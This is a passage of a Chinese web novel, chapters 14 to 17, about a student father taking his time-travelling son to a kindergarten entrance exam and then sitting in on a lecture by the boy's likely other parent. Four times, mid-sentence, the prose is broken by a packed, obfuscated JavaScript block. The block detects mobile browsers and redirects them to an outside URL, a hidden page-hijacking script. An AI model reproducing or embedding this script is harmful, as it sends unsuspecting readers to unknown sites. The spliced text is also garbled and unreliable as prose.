班长老周一脸没睡醒的走到机械一班的报名点,不抱期望的等着。 按他往年的经验,九点之前,这里是不会有人来的。 老周腰杆挺的笔直,坐在凳子上,利用高中上课修炼出来的本领,一动不动的睡着了。 睡得正香呢,忽然有人敲了下他前面的桌子。 “不好意思,放假时差还没调过来。”老周揉了揉脸,眼睛要睁不睁的,从旁边摸了纸笔递过去,“来,填个表,扫个码,拿着行李就可以进去了。” 说完,老周痛苦睁开眼睛想看下是谁,“怎么这么早来报道?” 等老周看清对面的人后,又重新闭上了眼睛,自言自语,“哦,睡眠的太晚就是不行,太伤身了,现在都出现幻觉了。” 白榆没时间和他贫,笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490795|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖游走的写完了表格上的内容。 “写好了。”白榆把笔盖盖上,头也不回的转身离开。 “诶,别走啊!”老周大声喊道,“反正今天也没什么事,我再过三个小时就换班了,刚开学,我请客,咱们宿舍一起吃个饭。” 白榆上个学期跟辅导员申请了去学校外面住。在这之前,他和老周是一个宿舍的,宿舍关系不错,他搬出来了以后,有时候也会聚在一起吃个饭,不过今天他没时间。 “我有急事。”白榆没时间过多解释,带上头盔,留下一串尾气,飞速的离开了这里。 “喂——”老周冲着白榆把车开走的方向大喊。 唐豫南拉着一个小型的行李箱,走到了报到处,“小榆怎么走的这么急。” “谁知道呢?”老周把白榆刚刚填完的表收好,拿出一张新的来,“你怎么也来这么早。” “起早了。”唐豫南看着在路上消失的身影,缓缓的收回视线,淡笑着说道。 * * * 白榆赶到家里,推开门,问道:“都准备好了吗?” 房内,谢昀澈正半蹲着帮白予安整理衣服。 “时间紧,没时间仔细选了。”谢昀澈打量着面前的小崽崽,“不过好在,看起来很合适。” 白予安站在镜子前,转动着身体,看自己的新衣服。 和精力旺盛的崽子不一样,白榆和谢昀澈坐在沙发上,就差把‘累’写脸上了。 白榆拿起昨天刚买的书包,检查里面的东西有没有装好。 “别看了。”谢昀澈撇了他一眼,无语的说道,“都第八遍了,东西不会长腿自己跑的。” 确认完里面没有少东西后,白榆把书包放好,靠在沙发上,拿抱枕捂着眼睛,声音闷闷的,“现在几点了。” “七点二十八。”谢昀澈也困,他日夜颠倒习惯了,现在正是睡觉的时候。 白榆的声音逐渐模糊,“到太早了也不好,过半个小时我们再走吧。” 谢昀澈忍了忍,忍了又忍,还是没忍住,压着火,发出了灵魂质问,“既然时间还早,我们不到六点起来是为了什么?” 白榆僵了一下,缓慢的把抱枕拿了下来,“我……好像有点紧张,睡不着。” 谢昀澈深吸了一口气,转头去看了一眼,跑来跑去哼着歌的白予安,无力的把手搭在了眼睛上。 到底谁去考试! 白予安一蹦一跳的跑了过来,“爸爸,我们还不去考试吗?” “马上去。”白榆有气无力的说道。 白予安:●v● 白予安:>v< 安安要去考试啦! 14. 第 14 章 谢昀澈开车,载着白榆和白予安往幼儿园走。 今天要去考试的学校是谢昀澈发的那么多幼儿园里,白榆最满意的。 除了教学资源,环境设施外,这所学校还有一个其他学校都没有的优点。它离B大很近,离白榆现在住的房子更近,开车过去也就十来分钟左右的路程。跟其他几所动辄就要一小时以上车程的幼儿园比起来,这所学校的地理位置毋庸置疑是最合适的。 如果能考上,白榆也就不打算考虑其他的学校了。 当然……大概率考不上。 幼儿园很快就到了,白榆准备下车的时候,谢昀澈先一步按住了他。 白榆:“怎么了?” 谢昀澈叮嘱道:“别太紧张了。” “嗯。”白榆点了点头,转头认真的对着白予安说,“安安你别太紧张了。” 白予安:“?” 谢昀澈:“……” 我是叫你别太紧张了。 白榆从车上下来的时候,对面的停车位上恰好也有人走了下来。 三十几度的天气,对方带着一副黑色口罩,把自己包的严严实实,下车后,从车上抱下来一个看起来和白予安差不多大的小姑娘 小姑娘编着繁杂的公主辫,身上穿着一套超过膝盖的白色长裙,一双大眼睛湿漉漉的,漂亮的就像是从童话里的走出来的小公主一样。 白榆的视线在对方身上多停留了几秒。 那个男的好像他见过,好像是个挺火的明星来着的。 萧梁注意到白榆的视线,哪怕隔着口罩,他还是下意识的露出了职业化的微笑,“你好。” “你好。”白榆点了点头,算作打招呼。 说完,白榆就领着白予安往幼儿园里面走了。 萧大影帝默默地把伸到一半的手又收了回来。 现在的年轻人都这么高冷的吗。 来参加考试的小朋友比白榆想象中还要多,白榆数了下,零零散散的有三、四十个,然而像他们这种插班生,每年一般只有两、三个会被录取。 周围的小朋友和白榆见过的大多数这个年龄的孩子不太一样,没有叽叽喳喳的大喊大叫,没有跑得到处去玩,安静的跟在父母身边,偶尔小声的和爸爸妈妈说话,看起来聪明又懂事。 白榆捏了捏白予安的小手,整个人下意识的绷紧,“崽,不要太紧张了。” 白予安仰头看着白榆,眨了眨眼,犹豫的说道:“……嗯。” 安安一点都不紧张。 还有爸爸,你掌心出汗了…… 白榆叹了口气,还想在宽慰白予安两句,身后突然传来了惊呼声。 “哇!好大一只蚂蚱!”小女孩兴奋的说道。 白榆转过身,发现之前在停车场遇到的那个小女孩,正蹲在草丛旁,两眼放光。 白榆往草丛里看了一眼,里面确实有一只全身是绿色的大虫子。 白榆也挺好奇的,“这蚂蚱起码有十几厘米了吧。” “爸爸。”白予安拽了下白榆的衣领,小声纠正,“那是蝈蝈” 白榆:“……哦。” 小女孩这声简直是一呼百应,周围几乎所有来参加考试的小朋友都往这边看了过来。 “哇~” “大虫虫。” “我头一次见到蚂蚱诶。” “它会咬人吗?” 蚂蚱(蝈蝈)也很配合的,被喊了一声后,自觉的从草地里跳了出来,大大方方的站在道路上,给这群小孩看。 当然也不是所有的小朋友都对超级大的蚂蚱(蝈蝈)感兴趣。 离蚂蚱(蝈蝈)近的几个孩子里,有人当场哭了出来,“妈妈!” 大蚂蚱(蝈蝈)嚣张的在路面上蹦来蹦去。 “啊!”几个害怕虫子的小孩,被吓的叫出了声,往父母身后躲。 萧望舒大喊,“蚂蚱,别跑!” 萧梁一个没看住,他家闺女就追着虫子跑掉了。 萧梁:!!! 你给我回来。 萧舒望听不见萧梁的心声,也丝毫不管她今天穿着一条白色的长裙,大步大步的跑着去捉虫子了。 下一秒,一个不小心,萧望舒直接踩到了裙摆,直直摔倒在了地上。 还没等她旁边的大人去扶一把,萧望舒瞬间就自己从地面上爬了起来,刚迈出去一步,她忽然想道。 好像叫我不要弄脏裙子来着的。 萧望舒自认为很懂事的,用刚才撑在地上的脏手拍了几把白裙子后,才跑去继续追虫子。 白色的小裙子成功的被越拍越脏。 萧梁深吸了几口气,身体止不住的在发抖。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490796|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 萧望舒,你一会要去考试的。你到底知不知道!!! 几个好动的小崽子追在萧望舒的后面,跟着去抓蚂蚱(蝈蝈)。 怕虫子的小朋友则被虫子追的到处乱窜。 家长又跟在自家孩子身后试图让他们停下。 “蚂蚱,纳命来!” “糖糖,快回来,别跑了。” “救命!” “妈妈,虫子跑过来。” 一时间,原本庄重严肃的初试现场变的混乱无比。 白榆看着散落一地的‘小萝卜头’陷入了沉默,和绿色大虫子沉默了。 这个发展属实是他没想到的。 “爸爸,走吧。”白予安牵着白榆的手指头,摇了摇,“我们要进去考试了。” 白榆脱口而出,“你不去抓虫子吗? “我才不像他们一样。”白予安扬起了小脑袋,偷偷瞄了一眼白榆,“幼稚死了。” 白榆:“。” 你好像很骄傲? 需要我夸你一下吗? 白榆思考着,要不要配合白予安,夸他一下,身后忽然响起了小朋友的喊声,“虫子!” 白榆回过头,绿色的蝈蝈正直面冲着他跳了过来。 他下意识的伸出手,抓住了蝈蝈的小翅膀。 他看着自己手上还在挣扎的绿色蝈蝈,又一次陷入了沉默。 扔,还是不扔? 现在继续让这只蝈蝈在外面跳也不太好吧。 但是拿在手里好像很奇怪? 白榆思考了半晌,一低头才发现不知道什么时候,他周围围了一圈的‘小萝卜头’,满脸崇拜的看着他。 “哥哥,你好腻害啊!”萧望舒眼睛亮晶晶的看着白榆手里的虫子。 “这是我爸爸。”白予安牵着白榆的手指头,骄傲的说道。 小姑娘有些羡慕,“你爸爸好厉害啊!” 白予安更骄傲了,整个人都膨胀了起来,“我爸爸最厉害了。” 小姑娘转头看了眼还没跑过来的自己爸爸,又看了看白榆,犹豫了没两秒,大声的问道:“那哥哥,你可以做我爸爸吗?” 在后面卖力追自己女儿的萧梁一个踉跄,差点和萧望舒一样摔倒在地上。 他上辈子肯定是造了什么孽,才有这样一个小孩。 15. 第 15 章 最后还是幼儿园的工作人员赶来,才阻止了这场因为一只虫子引起的‘骚乱’。 跑的到处都是的小朋友们乖乖的排好队,被老师领去参加考试,家长则被带到了一间休息室内。 作为一所一年学费小几十万私立学校,幼儿园在这方面可以说是做的面面俱到。 为家长准备的休息室很宽阔,屋内摆放着茶水和点心,旁边还专门配有一个吸烟室。刚进来的时候,有幼儿园的工作人员给每位家长发了一本介绍学校的图册。 在外面的时候站的分散,倒还没那么明显,现在全都聚集在室内,白榆和其他三、四十岁散发着精英气场的家长待在一处,就差把不是一个世界的人写在彼此脸上了。 自然这聊的热络的家长也没人和他搭话。 白榆倒也不在意这种事,靠在沙发上,翻看着幼儿园提供的图册。 “你好。”萧梁朝白榆这边走了过来,“我们之前在停车场见过的,我叫萧梁,是萧望舒的爸爸。” 白榆不冷不热的说道:“你好。” “刚才的事情,谢谢你了。要不是你抓住了蚂蚱,我家姑娘还不知道要闹到什么时候?” 萧梁手上提着一个和幼儿园借来的笼子,早上的那只绿色大蝈蝈正在里面奋力的挣扎着。 白榆瞄了一眼笼子里的大蝈蝈,蝈蝈像是也认出他了,愤愤不平的冲他喊了起来,“唧唧!唧唧唧唧!” 蝈蝈:你个***(自动消音中) 白榆心想,我可没有要抓你,是你自己非要往我这里跳的。 白榆移开视线,看着萧梁认真的纠正,“这是蝈蝈。” 萧梁愣了一下,好脾气的拿起笼子看了看,笑着说,“原来是蝈蝈吗?我还以为是蚂蚱呢。” 白榆点了点头。 出于职业的原因,萧梁下意识的仔细打量起白榆的长相来。 不得不说,眼前这个人长的真好。 娱乐圈最不缺的就是长的好的人了,鲜嫩的练习生每年一批接着一批的换,最后能给人留下印象的也就那几个,见的多了,一张张脸仿佛长的都一样似的。 都说美人在骨,不在皮,但萧梁在娱乐圈待久了觉得这句话也不完全对。 美人嘛,既要有皮也要有骨,最主要的是要有自己的气场,让人一眼就能看见他。 眼前这个少年,少见的三点都具备了。 皮相,骨相,自然不用说,最特别的是对方周身的气场。 是个人都能看出他和这里格格不入的,但在这种环境下,他周身却没有一丝的局促紧张,淡然的仿佛对周遭漠不关心一样。 过分出挑了,萧梁在心中暗自想道。 也许是被美色蛊惑,萧梁少见说了句不过脑子的话,“你有兴趣,往娱乐圈发展吗?” “没有。”白榆的轻飘飘的扫了萧梁一眼,那眼神就像再说‘你没问题吧’。 萧梁回过神来,尴尬笑了笑,发自内心的感慨,“那真是可惜了。” 在外面打拼久了,这点小尴尬萧梁完全没放在心上,坐到了白榆旁边,自然的搭话,“你是来陪你弟弟参加考试的吗?” “不是。”白榆合上图册,沉默了一会补充道,“那是我的孩子。” 哪怕在娱乐圈各种事都见多了,萧梁听到这种回答后,也还是一下没反应过来。 过了好几秒,萧梁才说道:“哦,这,这样啊。” 白榆避开萧梁的奇怪的眼神,战略性的喝水掩饰尴尬。 萧梁也战略性的喝了口水,压了压惊,试图岔开话题,“对了,你家孩子的模拟卷成绩怎么样?” 白榆:什么卷? 萧梁叹了口气,自顾自的说道:“望舒其他的到还好,就是逻辑题得分一直不高?” 白榆:什么题?? 萧梁:“往年的卷子也做了,但我还是有些不放心。” 白榆:你在说什么东西??? “希望一切都顺利吧。”萧梁有些感慨,转头看向白榆热络问道,“你们家孩子呢?准备的怎么样?外语老师请的是哪位?” 白榆心梗。 他拿着杯子的手都在微微颤抖,冷着张脸,嘴硬道:“我们家崇尚快乐教育。我们……没准备。” 可能是这句话在这里实在是太离谱了,别说是萧梁了,就连旁边正在说话的几个家长都不约而同的停了一下,齐齐往白榆这看一眼。 看白榆的眼神仿佛在一个从外星来的物种。 白榆心塞的把杯子里的水一口气都喝了。 这么大一点点的孩子卷什么卷! * * * 考试的时间很快就过去了,考完的小朋友陆陆续续的跑到了休息室里,去找自己爸爸妈妈。 白予安和萧望舒几乎是同一时间跑了进来。 “爸爸,我考完了。”白予安一头扎进白榆怀里。 白榆伸出手搂住了安安。 萧望舒站在原地,眨了眨眼,也学着白予安的样子,一头扎到白榆的怀里,“爸爸,我也考完了。” 白榆:“……” 白榆顿了顿,又伸出右手,搂住了萧望舒,抬眸看向萧梁。 白榆的眼角有一点耷拉,睫毛总是长长的坠着,他没什么表情的看向一个人的时候,天然的给人一种……嘲讽的感觉。 萧梁觉得自己的心口又被扎了一刀。 萧梁从年轻的时候,就一直幻想自己以后有个闺女。 长的漂漂亮亮,有一双黑色大眼睛,软软糯糯,会甜甜叫他爸爸的那种小棉袄。 后来他的确也有女儿了。 只不过萧望舒除了长相这个她自己不能决定的因素外,其他完美的照他想象中的反方向发展。 在白榆怀里扑了一会,萧望舒抬起头,眨巴着一双大大的眼睛看向萧梁。 萧梁内心无比感动,以为他闺女终于有点良心了。 接着他就听到萧望舒脆生生的冲他喊了句,“大哥,再见。” 萧梁:“。” 他变大哥了。 和孩子在一起的确会让人变的年轻,毕竟这血压起起升升的,不是年轻人还真受不住。 萧梁深吸一口气,一把把萧望舒从白榆怀里捞了出来,勉强维持着笑容,“不好意思,小孩子不懂事,我先带她回去了。” 说完,萧梁就扛着他家闺女走了。 萧望舒拍着萧梁的手臂,喊道:“大哥,大哥,把我放下来,我不走。” 笼子里的大蝈蝈也跟着卖力的叫:“唧唧!唧唧……” 蝈蝈:我也不走,唧唧!!! 白榆沉默的目送着一大一小一虫的远去,直到旁边传来了小孩的哭声,他才收回了视线。 白榆顺着声音看了过去。 一个小男孩正低头摸着眼泪,他的父母也是一幅不高兴的样子。 孩子他爸皱着眉,“行了,就算没考好。也别在外面哭了,快回去吧。别在外面丢人了。” 小孩被爸爸说了一句,不敢继续哭了,但又忍不住,整个人不停抽噎着。 白榆按住了白予安想往后转的小脑袋,视线在四周看了一圈。 周围孩子的情绪和刚刚在外面捉虫子比起来肉眼可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490797|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见的低落了。 白榆心沉了一下。 卷子很难吗? “爸爸。”白予安疑惑的仰头望着白榆。 “嗯。”白榆回过神来,抬起放在白予安头顶的手。 白榆还没来得及把手收回去,又想到了什么起来,抓住白予安的手腕,大步往外面走,“我们也走吧。” 还是快点走比较好,别一会白予安也被传染了,想起考试的事情。 “嗯。”白予安看起来很高兴的样子,一蹦一跳的往外面走。 刚出室内没两步,白予安悄咪咪的暗示,“爸爸,我考完了。” “嗯。”白榆摸了摸他的毛茸茸的小脑袋,继续往前面走。 没过两秒,白予安没有忍住,又说了一遍,“爸爸,我考完了。” 白榆顿了顿,说道:“嗯。那我们去吃点好吃的,犒劳一下自己。” 白予安:“……哦。” 白予安耸拉着小脑袋。 谢昀澈正靠在车椅上,闭着眼睛假寐,见两人回来了,他重新睁开眼,懒洋洋的问,“考的……” 白予安眼睛忽的就亮了,脑袋上像是有两只猫耳似的,刷的一下竖了起来。 对!安安考的很好! 可惜谢昀澈的话还没说完,就被白榆打断了。 白榆光速的从谢昀澈车里的零钱盒里掏出几枚硬币,递给白予安,“那边有个自动贩卖机。安安,去买三瓶水回来好吗?” “好。”白予安摊开小爪爪接过硬币,哒哒哒的跑掉了。 安安有些不高兴,但是安安很乖。 白榆松了口气。 谢昀澈在车上艰难的伸展了下身体,“怎么,不让问?” “嗯。”白榆坐到汽车后座,“反正问了成绩也不可能改。要是没考好,问了还伤心。” 谢昀澈透过后车镜看白榆,问道:“那要是考不上怎么办?” 白榆垂下眼帘,闷声说道,“那就不上了。也没个什么的。” 谢昀澈看得出来白榆心里不舒服,没继续说了。 “爸爸!”白予安怀中抱着三瓶矿泉水,倒腾着他的小短腿,往这边跑,“水。” 没往前跑两步,白予安怀里的矿泉水就滑下去了一瓶。 白予安蹲下去捡。 然而又没跑两步,矿泉水又滑下去了另一瓶。 白予安蹲下去继续去捡。 然而掉的那瓶矿泉水还没捡起来,剩下的两瓶水,跟着一起都掉下去了。 矿泉水:啦啦啦啦,我自由了~ 白予安:▼-▼ 白榆隔着车窗玻璃看着他家崽,忍了忍,没忍住,笑了起来。 他笑了会,下车帮他家崽一起把地上的水捡了起来。 白榆rua着他家聪明,乖巧,懂事,善解人意又可爱的崽崽心想,如果这个幼儿园不录取安安,那肯定不是安安的问题,都是幼儿园的错。 白榆把白予安塞到了后座,把安全带系好。 白予安瞄了一眼白榆,手指头戳了戳白榆,今天第三次暗搓搓的暗示道:“爸爸,我刚刚考完了。” “嗯。”白榆以为白予安在提醒自己,要出去吃好吃的,对前面谢昀澈说道,“我们去吃点东西,庆祝一下。” “行,吃什么。”谢昀澈踩下油门,把车从停车位上开走。 白榆转头去问白予安,“你想吃什么。” 他家崽在却把头扭到一边,声音听起来不太高兴,“都可以。” 爸爸,怎么还不问我考的怎么样啊! 白榆:“???” 16. 第 16 章 最后谢昀澈带着两人去了附近一家有名的烧烤店。 肥瘦相间的五花肉在炭火上烤的滋滋作响,略显昏暗的环境下,空气中弥漫着油脂的香气。 白榆等烤肉的时候,顺便打开了手机。 新学期开始,他聊天应用上的小红点也变成了99+。 白榆靠在椅子上,翻着聊天记录看,发现除了年级群里的消息外,他之前宿舍的群也冒出几条消息来。 唐豫南往群里发了几张照片。 照片里是他,老周和胖胖在学校周围的一家店里吃火锅的画面。 下面齐齐的刷了几条消息。 【老周:羡慕吧(doge)】 【胖胖:羡慕吧(doge)】 白榆笑了下,切出聊天软件,到线上的教务系统把这个学期的课表给加载出来。 明天上午第一节课是——自动控制原理。 授课老师是——郑彩霞。 白榆彻底放松下来。 这个老师上学期也带过他们的课,人虽然已经六十多岁了,但老太太是个很活泼,时髦的人。 上学期第一节课就跟他们说‘用点名来留住学生,和用怀孕来挽留渣男一样,我不会在课上点名的’。 之后也的确一个学期没有点过他们的名。 这他就放心了。 白榆点开了老周的聊天界面。 【树:在】 没过两秒,对方就回复他了。 【老周:在吃火锅呢。黄豆戴墨镜.jpg】 【树:我明天上午第一节课不去了,要是老师说了什么重要的事,记个给我讲一声】 【老周:虽然郑奶奶不点名,但是你第一节课就逃?】 【树:我明天有要事】 【老周:啥事,说来听听】 白榆看了眼白予安,顿了顿,在屏幕上打道。 【树:终生大事】 【老周:小猫咪疑惑.jpg】 【树:行,还是不行】 【老周:行,当然行。就是啥终身大事,也给我们说说呗】 【树:你猜】 目的达到,白榆果断的把老周‘抛弃’了,拿起筷子准备吃肉。 烤架上的五花肉被烤的刚好,泛着金黄的色泽。 谢昀澈用夹子把肉平均分到他们三个人的盘子里。 他变调酱料边问道:“你明天要和薛楠过去了吧。” 白榆吃肉的动作一顿,“……嗯。” 正在给烤肉上卷菜的小崽崽往周围看了一圈,眨了眨眼。 感觉爸爸好像,忽然就不高兴了? * * * 第二天一早。 薛楠站在A大的校门口,焦急的张望着,“你怎么才来。” 白榆一脸刚睡醒的样子,眼皮没什么精神的垂着,皱着眉头看了眼手机上的时间,没什么精神的说,“这不是还早吗,你那么急干什么?” “要去占位子。” 薛楠拉着白榆的胳膊,快步往学校里面冲。 门卫看了眼白榆B大的学生卡,没多说什么,让他们两进去了。 白榆被薛楠拉着一路狂奔到了公共教室。 薛楠气喘吁吁的推开教室的门后,心瞬间凉了,绝望的说,“完了,来晚了。” 白榆打着哈欠,在后面说风凉话,“没关系,偶尔坐在后面一次,影响不大。” 白榆困倦的眯起眼睛,往前走了两步到教室里面。 看见里面的场景,白榆的困意都消散了几分。 怎么回事? 整个教室里乌压压的坐满了人,唯独左边第四排靠近走道的一个位置和……整个中间第一排有空位。 白榆把手插在口袋里,边观赏着教室内的‘凹’字,边往前面走,内心疑惑。 这是,中间第一排不能坐人吗? 白榆正迷茫着,教室的前门被人推开。 原本还有稀稀朗朗聊天声的教室,像忽然被人按下了静音键,声音骤然消失。 看着往讲台上走的男人,白榆的瞳孔微微放大了一瞬。 这个人不是…… 白榆定定的看着讲台上的男人。 讲台上的人像是也注意到了白榆的目光,抬眸朝他站着的方向看了过来。 白榆的身体不自然的绷紧。 “同学,还有不到五分钟就要上课了。”低沉熟悉的声音响了起来。 很多年后,白榆再回想起这一幕的时,问宋时蔚,他当年到底知不知道,自己不是他的学生。 宋时蔚合上手中的书,“知道啊。” 白榆不太高兴,“那你当时为什么还要叫我。” 宋时蔚笑了笑,没说话。 * * * “哦。”听见对方的声音,白榆回过神,慌乱的四处张望。 薛楠……人呢?!! 白榆往前一看 ,才发现,就在刚才他走神的那一小会,薛楠已经跑到第四排的空位上,稳稳当当的坐下来了。 薛楠注意到白榆的目光,冲着他一通挤眉弄眼。 白榆:“……” 虽然很不想承认,但他还真看懂了薛楠是什么意思。 薛楠:‘对不起了,兄弟,你节哀啊!’ 白榆:他其实本来不是很生气的。 现在教室里能坐的位置就只剩下正中间第一排了。 白榆顶着整个教室炙热的目光,缓慢的向第一排走去。 白榆挪到了最边边的位置上,正准备坐下,一抬头,却发现讲台上的人正在看着他。 白榆……默默的往里面挪了一个位置。 对方还在看着他。 白榆沉默了半晌……认命的坐到了第一排最中间。 上课的铃声准时的响了起来。 “各位同学,我姓宋,这个学期有幸教大家机器人基础这门课,希望我们能共度一段美好的时光。” 宋时蔚简短地自我介绍。 “一会助教会给大家拉一个群,平时有什么问题可以在群里问助教,有需要也可以预约我的答疑时间。”宋时蔚没有多说,拿起桌子上的教案进入正题,“那么现在请大家将书翻到第十六页,我们开始上课。” 白榆整个脑子里现在乱成一团。 巨大的冲击下,白榆的大脑彻底放空,冒出来各种乱七八糟的想法,比如…… 为什么不从第一页开始上? 而且第一节课,不应该讲点废话吗? 我书呢? 身后传来哗啦啦的翻页声,和打开笔记本的声音,让白榆泥浆的脑子稍微清醒了些,后知后觉的意识到一个问题。 哦,我没带书。 不对,我根本就没书! 白榆看着自己面前一尘不染的桌面,麻木了。 比起讲台的那个人极可能是白予安亲爹这件事,白榆觉得现在可能有一些更紧迫的问题需要他处理。 比如他没书。 他不仅没书,还坐在第一排。 他不仅没书,坐在第一排,教这门课的老师还在盯着他。 有的人他还活着,但他已经死了。 讲台上的人已经开始板书了,一旁的投影上,投放着准备好的资料。 此时此刻,他一个大二的学生,正坐在其他学校的教室里,听着非他们专业的课程,既没带书,也没带笔记本,连手机都不敢玩。 此情此景,如果放在一周之前,白榆就算是做梦都不会梦到这么离谱的内容。 宋时蔚已经开始板书,白榆抬头往上看,视线却没停在黑板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490798|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 讲台上的人,身高优越,比例更是趋近完美,眼窝深邃,眼睑狭长,带着一副金属细边无框眼镜,从侧面看有些混血的感觉,唇角带着点浅笑,眼梢却没什么情。 不过比起皮相,对方身上那种成熟,禁欲的气质比他那张脸更吸引。 哪怕是有极大偏见,白榆也不得不承认,宋时蔚是一个……很有魅力的男人。 和他想象中,完全不一样。 白榆有些走神。 讲台上的人忽然停止了板书的动作,往下看了一眼,“这个问题,我们找一个同学来回答吧。” 白榆一时还没回过神。 教室内的其他学生:看不见我。看不见我。看不见我。 说完这句话后,宋时蔚的眼神没有任何犹豫的落在了白榆身上,“那就请坐,在中间第一排的同学来回答一下吧。” 白榆:“?” 白榆往左看了看,又往右看了看。 中间第一排是不是只有他来着的。 白榆浑身僵硬的站起身来,看着黑板上的鬼画符,安静了几秒,“抱歉。我……不会。” “嗯。”宋时蔚点了点头,“请坐。” “……谢谢。”白榆不自然的坐下。 宋时蔚幽默的对班里的同学说道:“看来,我的教学水平还有待提高,没能引起有些同学的注意力。” 白·有些同学·榆把头低的更低了。 度秒如年的熬过了九十多分钟,下课铃声响起时,白榆整个人都感觉被抽走了精力。 终于,下课了。 白榆抬眸看着讲台上的人,想起接下来要干的事,忽然又不想下课了。 他下意识地用力咬了下唇。 怎么说…… 说,你和我未来有个孩子,穿越过来了,现在在我家,你打算怎么办。 这话怎么听着,我那么像个傻子。 还是纯种的。 白榆头皮发麻。 “宋教授。”门外忽然响起了声音。 白榆坐直身子,朝外面看了一眼,那天跟在宋时蔚身后的那位女士,正拿着一个文件夹站在门口,半皱着眉头,看起来有些急,半分钟连续看了两次表。 宋时蔚看向了一眼对方,面向学生说道:“大家下课吧。” 白榆扭头看着宋时蔚没有停留的大步离开。 临近白榆的位置前时,宋时蔚稍微停顿了一下,不着痕迹地把他手上的教材放到了桌子上。 一道很轻的声音,从在白榆耳边飘过,“记得带书。” 记得带书。 白榆坐在空无一人的教室内,脑中又一次飘过这句话。 这是,把书给我了? 白榆低头看着自己手里被爱护的很好的教材。 我来干什么的…… 听课的? 白榆麻木的拿出手机,才发现老周一直在找他。 【老周:白榆!白榆!白榆!】 【老周:速回啊!】 【老周:你人呢!!!】 白榆有种不祥的预感。 【树:怎么了】 【老周:没什么,也就是郑奶奶叫你一会跟她解释一下,你为什么没去上课】 【树:点名了?】 【老周:那倒没有,她只是单纯发现你没来】 【树:?】 大概过了半分钟,老周才发了一条语音过来。 语音里,他模仿着郑奶奶的语调说着。 “虽然用点名来留住学生和用孩子来留住渣男一样,但是吧,有的同学在该上我的课的时间‘公然出轨’,我也不能当做没看到。是吧周时函,白榆呢?” 白榆:“……” 【老周:没办法,这就是命,认命吧】 17. 第 17 章 白榆有些不能接受这样的命。 要知道按照b大的规定,平时被老师记旷课三次,这门课期末就要取消平时成绩的。 【树:我们不是在大教室上的课吗,她怎么发现我不在的】 【老周:……】 几秒后,老周才给他发过来消息。 【老周:比起这个,其实我更想知道,你是怎么那么有自信,觉得你逃课老师发现不了的!】 【树:?】 【老周:旁边有镜子吗,请现在对着镜子照一下,看看你那头白毛,再说话。以前你不去上课,那纯属老师不想找你麻烦好不好。】 其实还有一点,周时函没说。虽然白榆不知道,但他在老师间还挺有名的。 尤其是那些年纪大的老师,特别喜欢逗他。 最直接的表现就是……每次上课回答问题白榆必被叫到。 周时函心想,这份沉重的爱,留给白榆一个人就足够了。 【老周:你快点跟郑奶奶解释一下吧,要不然你就寄了】 白榆心凉地找郑老师的联系方式,试图挣扎一下。 【树:老师,您好。我是机械一班的白榆】 还没等白榆编好没去上课的理由,郑老师立刻就回了他的消息。 【郑老师:呀,这不是小白同学吗,找我有什么事吗】 白榆:“……” 不是您让我来找的吗? 显然白榆不能这么说。 【树:对不起,郑老师。我今天起来的时候,头疼的厉害,本来想向您请假的,但实在是难受的看不清东西】 【郑老师:是这样的吗】 【树:小猫咪疯狂点头.jpg】 【郑老师:那小白同学你身体不舒服还坚强的跑到A大去蹭课,真是不容易啊】 白榆吓的差点把手机扔了。 怎么回事? 为什么郑老师会知道他跑到A大去了? 聊天界面出现一行小字,‘郑老师向你分享了’——【热烈欢迎坐在宋教授课第一排的勇士。(热)回复:318】 ? 白榆没反应过来,点进去才发现这是A大的学生论坛。 【1L:下课偷拍了张图,略糊】 【2L:我来证明,这位勇士不仅上课坐第一排,还被提问了!最最最主要的是提问还没回答上来】 【4l:我也看到了,勇士说他不会!他就这么直接的,对着宋教授那张脸,对着宋教授,直接说了,他,不,会】 【18L:他好勇,上课坐在第一排还不带书】 【20L:有的人还活着,但是他已经死了】 【93l:诶,他好像是隔壁大二机械的】 【94l:楼上认识吗,求个联系方式】 【200l:求个联系+1086】 白榆看着上面他的照片,恨不得现在挖就个坑把自己埋了。 